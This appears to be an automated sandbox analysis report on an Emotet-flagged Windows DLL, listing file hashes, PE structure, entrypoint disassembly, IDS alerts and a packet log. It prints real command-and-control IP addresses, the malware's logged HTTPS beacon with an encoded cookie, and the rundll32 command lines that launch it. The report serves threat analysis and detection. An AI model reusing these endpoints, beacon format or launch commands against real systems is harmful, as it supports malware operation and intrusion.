SSDEEP:	1536:EysgU6qmzixT64jYMZ8HbVPGfVDwm/xLZ9rP:wF6qmeo4eH1m9wmLvrP
MD5:	ACAEDA60C79C6BCAC925EEB3653F45E0
SHA1:	2AAAE490BCDACCC6172240FF1697753B37AC5578
SHA-256:	6B0CECCF0103AFD89844761417C1D23ACC41F8AEBF3B7230765209B61EEE5658
SHA-512:	FEAA6E7ED7DDA1583739B3E531AB5C562A222EE6ECD042690AE7DCFF966717C6E968469A7797265A11F6E899479AE0F3031E8CF5BEBE1492D5205E9C59690900
Malicious:	false
Preview:	MSCF............,...................I.......;w........RSNj .authroot.stl..>.(.5..CK..8T....c_.d...A.K...+.d.H..i.RJJ.IQIR..$t)Kd.-[..T\{..ne......<.w......A..B........c...wi......D....c.0D,L........fy....Rg...=........i,3.3..Z....~^ve<...TF....f.zy.,...m.@.0.0...m.3..I(..+..v#...(.2....e...L..y..V.......~U...."<ke.....l.X:Dt..R<7.5\A7L0=..T.V...IDr..8<....r&...I-.^..b.b.".Af....E.._..r.>.`;,.Hob..S.....7'..\.R$.".g..+..64..@nP.....k3...B.`.G..@D.....L.....`^...#OpW.....!....`.....rf:.}.R.@....gR.#7....l..H.#...d.Qh..3..fCX....==#..M.l..~&....[.J9.\..Ww.....Tx.%....]..a4E...q.+...#.a..x..O..V.t..Y1!.T..`U...-...< _@...\|(.....0..3.`.LU...E0.Gu.4KN....5...?.....I.p..'..........N<.d.O..dH@c1t...[w/...T....cYK.X>.0..Z.....O>..9.3.#9X.%.b...5.YK.E.V.....`./.3.._..nN]..=..M.o.F.._..z....._...gY..!Z..?l....vp.l.:.d.Z..W.....~...N.._.k...&.....$......i.F.d.....D!e.....Y..,.E..m.;.1... $.F..O.F.o_}.uG....,.%.>,.Zx.......o....c../.;....g&.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1122616792999316
Encrypted:	false
SSDEEP:	6:kKGofzk8SN+SkQlPlEGYRMY9z+4KlDA3RUeYlUmlUR/t:lfz9kPlE99SNxAhUeYlUSA/t
MD5:	19DF35F98CD6631580FD341529EBC05F
SHA1:	4C3B13A21654A1A49BBE6E0AAB12466C227DBBCF
SHA-256:	6A2A61A58842FB2E0697F996758C7D16EDBDB7F5A530F6C172D1C91393AC1FFA
SHA-512:	166FF775EA281BB8BD3E7DE231698CEE62CCC3E226855A6F001424C35B37911DBC1EC7D392904BACC4925BBDFAE8AAACC6BDD23BD0FE697256F5F251414482E8
Malicious:	false
Preview:	p...... .........'.....(....................................................... ........q.\].......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.7.1.e.1.5.c.5.d.c.4.d.7.1.:.0."...

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log Download File
Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
Category:	modified
Size (bytes):	7250
Entropy (8bit):	3.169860147250249
Encrypted:	false
SSDEEP:	96:cEj+AbCEH+AbuEAc+AbhGEA+AbNEe+Ab/Ee+AbPE6w9+Ab1wTEd+Ab0:cY+38+DJc+iGr+MZ+65+6tg+ECC+t
MD5:	B61F293988BB6A8738086901421B6DBF
SHA1:	5554C4AA7DD3A39A6ED4E90C94519827D605A9AE
SHA-256:	A30707EE4FD7E62604C696A385E4AA770ED3A173D7C388FE7AA247427D3ABC01
SHA-512:	16EFA72AD13A2FB69220132DD164BA3BAD9C78C190AF967ED90A1EBC1B7840D0F1CB4F9ACFF620B5E8CA0FE1EB572E8FDCFD341EE187283375581CA112054EBD
Malicious:	false
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....E.R.R.O.R.:. .M.p.W.D.E.n.a.b.l.e.(.T.R.U.E.). .f.a.i.l.e.d. .(.8.0.0.7.0.4.E.C.).....M.p.C.m.d.R.u.n.:. .E.n.d. .T.i.m.e.:. .. T.h.u. .. J.u.n. .. 2.7. .. 2.0.1.9. .0.1.:.2.9.:.4.9.....-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.............-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\DeliveryOptimization\Logs\dosvc.20211125_005221_007.etl Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	3.772744845133086
Encrypted:	false
SSDEEP:	96:CCdd7/o++TP5dT9202YuFCLSI2lQvkAM4ROT2SzYFz0RUMCVv1rJRjsUl5D/bMC0:ZrCWyF2+IpCZnsCiCiCxClCo
MD5:	5882F87225CABF2E3C4E558256078E96
SHA1:	9A6B8D8D456C169CCA6FD07C6444BBF0B4581BBC
SHA-256:	A058930084CC57710F22395E41D41A5A4B14477791F2543F174A2F61B620705A
SHA-512:	ECBCBACE64850DD12F372B1FC0B28DC9EF45F1C7351D15FB215DA2FF60DC0911CDE38DFC6FAAA6FEC0BDF78F69BE86C70F028B1EB128D4C76C373A6D078C5F19
Malicious:	false
Preview:	.... ... ....................................... ...!...........................h...H...v........................B..............Zb... ... ..........................................@.t.z.r.e.s...d.l.l.,.-.2.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.2.1.1............................................................./_8..... ...................8.6.9.6.E.A.C.4.-.1.2.8.8.-.4.2.8.8.-.A.4.E.E.-.4.9.E.E.4.3.1.B.0.A.D.9...C.:.\.W.i.n.d.o.w.s.\.S.e.r.v.i.c.e.P.r.o.f.i.l.e.s.\.N.e.t.w.o.r.k.S.e.r.v.i.c.e.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.D.e.l.i.v.e.r.y.O.p.t.i.m.i.z.a.t.i.o.n.\.L.o.g.s.\.d.o.s.v.c...2.0.2.1.1.1.2.5._.0.0.5.2.2.1._.0.0.7...e.t.l.........P.P.h...H...v.......................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.42879164680045
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.40% Win16/32 Executable Delphi generic (2074/23) 0.21% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20%
File name:	wUKXjICs5f.dll
File size:	425984
MD5:	b65325cbe036c4e86a94428d8e7fab49
SHA1:	8788e13d2a0fad0a31f5a48613d2fcbd521d0d2e
SHA256:	3a8acc008eaad0a94e3b5fbd200028fa342773869b3f7f7edf772adbfb52d789
SHA512:	47878f9d331163c0729302a1d254be7d06e5a385261e575b0764693714c3c91a1a627c6b968594b8b71406bb1475ec510487d1596540ac1c5c48734f94aa188f
SSDEEP:	6144:1ACzUEcRRKxe0DUAldEzpLFE0sepO8+wM:1lxemHQtFE0sLvd
File Content Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L....A.a...........!.....T...P.......................................................H....@..........................S..P..

File Icon


Icon Hash:	64da98ecd2ceead4

Static PE Info

General
Entrypoint:	0x1001cab0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x619E410C [Wed Nov 24 13:41:32 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	ef559179cbfc08fc57c1e24c241992ea

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F7118991AC7h
call 00007F7118991B27h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F7118991978h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
sub esp, 14h
and dword ptr [ebp-0Ch], 00000000h
lea eax, dword ptr [ebp-0Ch]
and dword ptr [ebp-08h], 00000000h
push eax
call dword ptr [1002806Ch]
mov eax, dword ptr [ebp-08h]
xor eax, dword ptr [ebp-0Ch]
mov dword ptr [ebp-04h], eax
call dword ptr [10028068h]
xor dword ptr [ebp-04h], eax
call dword ptr [10028050h]
xor dword ptr [ebp-04h], eax
lea eax, dword ptr [ebp-14h]
push eax
call dword ptr [10028064h]
mov eax, dword ptr [ebp-10h]
lea ecx, dword ptr [ebp-04h]
xor eax, dword ptr [ebp-14h]
xor eax, dword ptr [ebp-04h]
xor eax, ecx
leave
ret
mov ecx, dword ptr [1004609Ch]
push esi
push edi
mov edi, BB40E64Eh
mov esi, FFFF0000h
cmp ecx, edi
je 00007F7118991AC6h
test esi, ecx
jne 00007F7118991AE8h
call 00007F7118991A59h
mov ecx, eax
cmp ecx, edi
jne 00007F7118991AC9h
mov ecx, BB40E64Fh
jmp 00007F7118991AD0h
test esi, ecx
jne 00007F7118991ACCh
or eax, 00004711h
shl eax, 10h
or ecx, eax
mov dword ptr [1004609Ch], ecx
not ecx
pop edi
mov dword ptr [10046098h], ecx
pop esi
ret
push 1005E118h
call dword ptr [10028070h]
ret

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x45300	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x45350	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x61000	0xb7b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6d000	0x10f0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x44be0	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x44c18	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x28000	0x124	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.flat	0x1000	0x446	0x600	False	0.643229166667	data	5.67523607022	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.text	0x2000	0x252cb	0x25400	False	0.536086933725	data	5.88986915783	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x28000	0x1d9da	0x1da00	False	0.494923523207	data	5.10028459369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x46000	0x1aab0	0x17e00	False	0.515461387435	data	4.96853626532	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x61000	0xb7b8	0xb800	False	0.177564538043	data	3.89759299523	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6d000	0x10f0	0x1200	False	0.782335069444	data	6.41113333729	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x614b0	0xb13	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Russian	Russia
RT_ICON	0x61fc8	0xea8	data	Russian	Russia
RT_ICON	0x62e70	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0	Russian	Russia
RT_ICON	0x63718	0x568	GLS_BINARY_LSB_FIRST	Russian	Russia
RT_ICON	0x63c80	0xc4a	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	Russian	Russia
RT_ICON	0x648d0	0x4228	dBase IV DBT of \200.DBF, blocks size 0, block length 16896, next free block index 40, next free block 61695, next used block 4294934272	Russian	Russia
RT_ICON	0x68af8	0x25a8	data	Russian	Russia
RT_ICON	0x6b0a0	0x10a8	data	Russian	Russia
RT_ICON	0x6c148	0x468	GLS_BINARY_LSB_FIRST	Russian	Russia
RT_GROUP_ICON	0x6c5b0	0x84	data	Russian	Russia
RT_VERSION	0x612b0	0x200	data	Russian	Russia
RT_MANIFEST	0x6c638	0x17d	XML 1.0 document text	English	United States

Imports

DLL

Import

KERNEL32.dll

InterlockedFlushSList, GetProcessHeap, HeapAlloc, HeapFree, GetLastError, GetCommandLineA, ExitProcess, GetModuleHandleA, GetProcAddress, CloseHandle, TerminateProcess, WaitForSingleObject, VirtualProtect, SetLastError, VirtualFree, VirtualAlloc, LoadLibraryA, GetNativeSystemInfo, FreeLibrary, IsBadReadPtr, GetCurrentProcessId, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, WriteConsoleW, DecodePointer, RtlUnwind, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, RaiseException, GetModuleHandleExW, GetModuleFileNameW, LCMapStringW, GetStdHandle, GetFileType, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineW, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, FlushFileBuffers, WriteFile, GetConsoleCP, GetConsoleMode, SetStdHandle, SetFilePointerEx, GetStringTypeW, HeapSize, CreateFileW

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x1000209d

Version Infos

Description	Data
LegalCopyright	Copyright (C) 2021
ProductVersion	1.0.0.1
FileDescription	Application
FileVersion	1.0.0.1
CompanyName	A company
Translation	0x0419 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
Russian	Russia
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
11/24/21-16:52:15.516165	TCP	2404334	ET CNC Feodo Tracker Reported CnC Server TCP group 18	49759	443	192.168.2.5	51.178.61.60
11/24/21-16:52:17.510843	TCP	2404312	ET CNC Feodo Tracker Reported CnC Server TCP group 7	49760	80	192.168.2.5	168.197.250.14
11/24/21-16:52:20.436565	TCP	2404332	ET CNC Feodo Tracker Reported CnC Server TCP group 17	49761	8080	192.168.2.5	45.79.33.48
11/24/21-16:52:41.522571	TCP	2404322	ET CNC Feodo Tracker Reported CnC Server TCP group 12	49764	8080	192.168.2.5	196.44.98.190
11/24/21-16:53:02.542228	TCP	2404314	ET CNC Feodo Tracker Reported CnC Server TCP group 8	49771	7080	192.168.2.5	177.72.80.14
11/24/21-16:53:03.081920	TCP	2021013	ET TROJAN ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)	7080	49771	177.72.80.14	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2021 16:52:15.516165018 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:15.516215086 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:15.516345978 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:15.558263063 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:15.558310032 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:15.664760113 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:15.664983988 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:16.885822058 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:16.885864019 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:16.886185884 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:16.886248112 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:16.902846098 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:16.948877096 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:17.001467943 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:17.001554966 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:17.001621962 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:17.001650095 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:17.388786077 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:17.388823986 CET	443	49759	51.178.61.60	192.168.2.5
Nov 24, 2021 16:52:17.388856888 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:17.388921976 CET	49759	443	192.168.2.5	51.178.61.60
Nov 24, 2021 16:52:17.510843039 CET	49760	80	192.168.2.5	168.197.250.14
Nov 24, 2021 16:52:17.769818068 CET	80	49760	168.197.250.14	192.168.2.5
Nov 24, 2021 16:52:18.294066906 CET	49760	80	192.168.2.5	168.197.250.14
Nov 24, 2021 16:52:18.553066969 CET	80	49760	168.197.250.14	192.168.2.5
Nov 24, 2021 16:52:19.200393915 CET	49760	80	192.168.2.5	168.197.250.14
Nov 24, 2021 16:52:19.459455967 CET	80	49760	168.197.250.14	192.168.2.5
Nov 24, 2021 16:52:20.436564922 CET	49761	8080	192.168.2.5	45.79.33.48
Nov 24, 2021 16:52:23.466428995 CET	49761	8080	192.168.2.5	45.79.33.48
Nov 24, 2021 16:52:29.466820002 CET	49761	8080	192.168.2.5	45.79.33.48
Nov 24, 2021 16:52:41.522571087 CET	49764	8080	192.168.2.5	196.44.98.190
Nov 24, 2021 16:52:44.530601978 CET	49764	8080	192.168.2.5	196.44.98.190
Nov 24, 2021 16:52:50.531131029 CET	49764	8080	192.168.2.5	196.44.98.190
Nov 24, 2021 16:53:02.542227983 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:02.793641090 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:02.793886900 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:02.794681072 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:03.045521975 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:03.081919909 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:03.081943989 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:03.082031012 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:05.856209040 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:06.114192963 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:06.114528894 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:06.116905928 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:06.409316063 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:07.213972092 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:07.214315891 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:10.214628935 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:10.214657068 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:53:10.214703083 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:53:10.214729071 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:54:04.858743906 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:54:04.858774900 CET	49771	7080	192.168.2.5	177.72.80.14
Nov 24, 2021 16:54:05.109675884 CET	7080	49771	177.72.80.14	192.168.2.5
Nov 24, 2021 16:54:05.109869003 CET	49771	7080	192.168.2.5	177.72.80.14

HTTP Request Dependency Graph

51.178.61.60

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49759	51.178.61.60	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Direction	Data
2021-11-24 15:52:16 UTC	OUT	GET /eUOoKZnMdMEYuzcUGINMwfTbKAcjacjvJSVpjTRzbVm HTTP/1.1 Cookie: Be=/e+ryNwguw53nczD4xJbHFDdjL37F8QEcvMUykYv5sMEo8XxTD2o8cwSPVNEeJJpE5Syx1Bf/DX/hqpSxNKsMxn2Ni9QSPVu6f0TDMC2oBhbvl9FQyvGFwptqWxP7HZVr62liakOpnLCl0gkxE5DOypBURsXex0ZCya1qA6riCZpqL5WFAMXK8wxqLuKCzUpLtUplaztUYNZ7KjQKriVl6DmQ/frACwvbJ9i/s8W2Nu2YdRl4Y5Ww2i6C8qiArBbmkhOEpAZhvzdElhNOKLgZAdMSE8UILYNfp310IxZJVWTLsk= Host: 51.178.61.60 Connection: Keep-Alive Cache-Control: no-cache
2021-11-24 15:52:16 UTC	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 24 Nov 2021 15:52:16 GMT Content-Type: text/html Content-Length: 162 Connection: close
2021-11-24 15:52:16 UTC	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6288 Parent PID: 1256

General

Start time:	16:52:02
Start date:	24/11/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll"
Imagebase:	0xbd0000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6308 Parent PID: 6288

General

Start time:	16:52:02
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6316 Parent PID: 6288

General

Start time:	16:52:02
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL
Imagebase:	0x390000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6328 Parent PID: 6308

General

Start time:	16:52:03
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1
Imagebase:	0x390000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.251529098.0000000002886000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6360 Parent PID: 6316

General

Start time:	16:52:03
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL
Imagebase:	0x390000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000002.254361044.000000000267A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000004.00000003.250320926.00000000026B6000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6372 Parent PID: 6328

General

Start time:	16:52:03
Start date:	24/11/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",Control_RunDLL
Imagebase:	0x390000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000003.250860645.00000000032A6000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.252359098.00000000032A6000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000003.251084633.00000000032A6000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

